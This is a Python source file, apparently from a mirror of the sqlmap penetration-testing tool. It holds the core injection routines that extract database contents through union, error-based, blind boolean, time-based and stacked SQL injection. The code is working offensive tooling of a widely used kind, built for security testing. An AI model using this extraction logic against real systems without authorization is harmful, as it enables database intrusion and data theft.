mirror of
https://github.com/sqlmapproject/sqlmap.git
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477 lines
19 KiB
Python
477 lines
19 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import cleanQuery
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import extractExpectedValue
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from lib.core.common import getPublicTypeMembers
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import initTechnique
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import parseUnionPage
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.common import safeStringFormat
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from lib.core.common import singleTimeWarnMessage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapNotVulnerableException
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from lib.core.exception import sqlmapUserQuitException
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from lib.core.settings import FROM_DUMMY_TABLE
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from lib.core.settings import MIN_TIME_RESPONSES
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from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.threads import getCurrentThreadData
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.request.direct import direct
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from lib.techniques.union.use import unionUse
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from lib.techniques.blind.inference import bisection
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from lib.techniques.error.use import errorUse
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from lib.utils.resume import queryOutputLength
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from lib.utils.resume import resume
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def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
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start = time.time()
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timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
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if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
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_, length, _ = queryOutputLength(expression, payload)
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else:
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length = None
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kb.inferenceMode = True
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count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
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kb.inferenceMode = False
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
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logger.debug(debugMsg)
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return value
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def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
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outputs = []
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origExpr = None
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field)
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump)
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if isinstance(num, int):
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expression = origExpr
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outputs.append(output)
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return outputs
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def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
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"""
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Retrieve the output of a SQL query characted by character taking
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advantage of an blind SQL injection vulnerability on the affected
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parameter through a bisection algorithm.
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"""
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initTechnique(kb.technique)
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query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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count = None
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startLimit = 0
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stopLimit = None
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outputs = BigArray()
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test = None
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untilLimitChar = None
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untilOrderChar = None
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if not unpack:
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return __goInference(payload, expression, charsetType, firstChar, lastChar, dump)
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
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rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
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if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
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expressionFieldsList = [expressionFields]
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than a field. "
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infoMsg += "sqlmap will now unpack it into distinct queries "
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infoMsg += "to be able to retrieve the output even if we "
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infoMsg += "are going blind"
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logger.info(infoMsg)
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# If we have been here from SQL query/shell we have to check if
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# the SQL query might return multiple entries and in such case
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# forge the SQL limiting the query output one entry per time
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# NOTE: I assume that only queries that get data from a table
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# can return multiple entries
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if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
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not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
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expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
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and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif Backend.isDbms(DBMS.ORACLE):
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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if not stopLimit or stopLimit <= 1:
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if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
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test = False
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else:
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test = True
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
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countedExpression = expression.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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if not stopLimit:
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count = __goInference(payload, countedExpression, CHARSET_TYPE.DIGITS, firstChar, lastChar)
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if isNumPosStrValue(count):
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count = int(count)
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if batch:
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stopLimit = count
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else:
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message = "the SQL query provided can return "
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message += "%d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit"
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test = readInput(message, default="a")
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if not test or test[0] in ("a", "A"):
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stopLimit = count
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elif test[0] in ("q", "Q"):
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raise sqlmapUserQuitException
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elif test.isdigit() and int(test) > 0 and int(test) <= count:
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stopLimit = int(test)
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infoMsg = "sqlmap is now going to retrieve the "
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infoMsg += "first %d query output entries" % stopLimit
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logger.info(infoMsg)
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elif test[0] in ("#", "s", "S"):
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message = "how many? "
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stopLimit = readInput(message, default="10")
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if not stopLimit.isdigit():
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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else:
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stopLimit = int(stopLimit)
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else:
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif (not stopLimit or stopLimit == 0):
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return None
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try:
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for num in xrange(startLimit, stopLimit):
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output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
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outputs.append(output)
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except KeyboardInterrupt:
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print
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warnMsg = "user aborted during dumping phase"
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logger.warn(warnMsg)
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return outputs
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elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
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expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
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outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
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returnValue = ", ".join(output for output in outputs)
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return returnValue
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def __goBooleanProxy(expression):
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"""
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Retrieve the output of a boolean based SQL query
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"""
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initTechnique(kb.technique)
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vector = kb.injection.data[kb.technique].vector
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vector = vector.replace("[INFERENCE]", expression)
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
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output = hashDBRetrieve(expression)
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if not output:
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output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
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if output is not None:
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hashDBWrite(expression, output)
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return output
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def __goError(expression, expected=None, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an error-based
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SQL injection vulnerability on the affected parameter.
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"""
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output = errorUse(expression, expected, dump)
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return output
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def __goInband(expression, expected=None, unique=True, unpack=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an inband SQL
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injection vulnerability on the affected parameter.
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"""
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output = unionUse(expression, unpack=unpack, dump=dump)
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if isinstance(output, basestring):
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output = parseUnionPage(output, unique)
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return output
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def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, unique=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter. It can call a function to retrieve the output
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through inband SQL injection (if selected) and/or blind SQL injection
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(if selected).
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"""
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kb.safeCharEncode = safeCharEncode
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kb.resumeValues = resumeValue
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if suppressOutput is not None:
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pushValue(getCurrentThreadData().disableStdOut)
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getCurrentThreadData().disableStdOut = suppressOutput
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try:
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if expected == EXPECTED.BOOL:
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forgeCaseExpression = booleanExpression = expression
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if expression.upper().startswith("SELECT "):
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booleanExpression = expression[len("SELECT "):]
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else:
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forgeCaseExpression = agent.forgeCaseStatement(expression)
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if conf.direct:
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if expected == EXPECTED.BOOL:
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value = direct(forgeCaseExpression)
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else:
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value = direct(expression)
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elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
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query = cleanQuery(expression)
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query = expandAsteriskForColumns(query)
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value = None
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found = False
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if query and not 'COUNT(*)' in query:
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query = query.replace("DISTINCT ", "")
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count = 0
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if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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kb.technique = PAYLOAD.TECHNIQUE.UNION
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if expected == EXPECTED.BOOL:
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value = __goInband(forgeCaseExpression, expected, unique, unpack, dump)
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else:
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value = __goInband(query, expected, unique, unpack, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.ERROR
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if expected == EXPECTED.BOOL:
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value = __goError(forgeCaseExpression, expected, dump)
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else:
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value = __goError(query, expected, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
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if expected == EXPECTED.BOOL:
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value = __goBooleanProxy(booleanExpression)
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else:
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value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
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kb.technique = PAYLOAD.TECHNIQUE.TIME
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else:
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kb.technique = PAYLOAD.TECHNIQUE.STACKED
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if expected == EXPECTED.BOOL:
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value = __goBooleanProxy(booleanExpression)
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else:
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value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump)
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if value and isinstance(value, basestring):
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value = value.strip()
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else:
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errMsg = "none of the injection types identified can be "
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errMsg += "leveraged to retrieve queries output"
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raise sqlmapNotVulnerableException, errMsg
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finally:
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kb.resumeValues = True
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if suppressOutput is not None:
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getCurrentThreadData().disableStdOut = popValue()
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kb.safeCharEncode = False
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if not kb.testMode and value is None and Backend.getDbms():
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warnMsg = "in case of continuous data retrieval problems you are advised to try "
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warnMsg += "a hidden switch '--no-cast' (fixing problems with some collation "
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warnMsg += "issues) and/or switch '--hex'"
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singleTimeWarnMessage(warnMsg)
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return extractExpectedValue(value, expected)
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def goStacked(expression, silent=False):
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kb.technique = PAYLOAD.TECHNIQUE.STACKED
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expression = cleanQuery(expression)
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if conf.direct:
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return direct(expression)
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comment = queries[Backend.getIdentifiedDbms()].comment.query
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query = agent.prefixQuery("; %s" % expression)
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query = agent.suffixQuery("%s;%s" % (query, comment))
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payload = agent.payload(newValue=query)
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Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare=True)
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def checkBooleanExpression(expression, expectingNone=True):
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kb.suppressSession = True
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value = getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNone=expectingNone)
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kb.suppressSession = False
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return value
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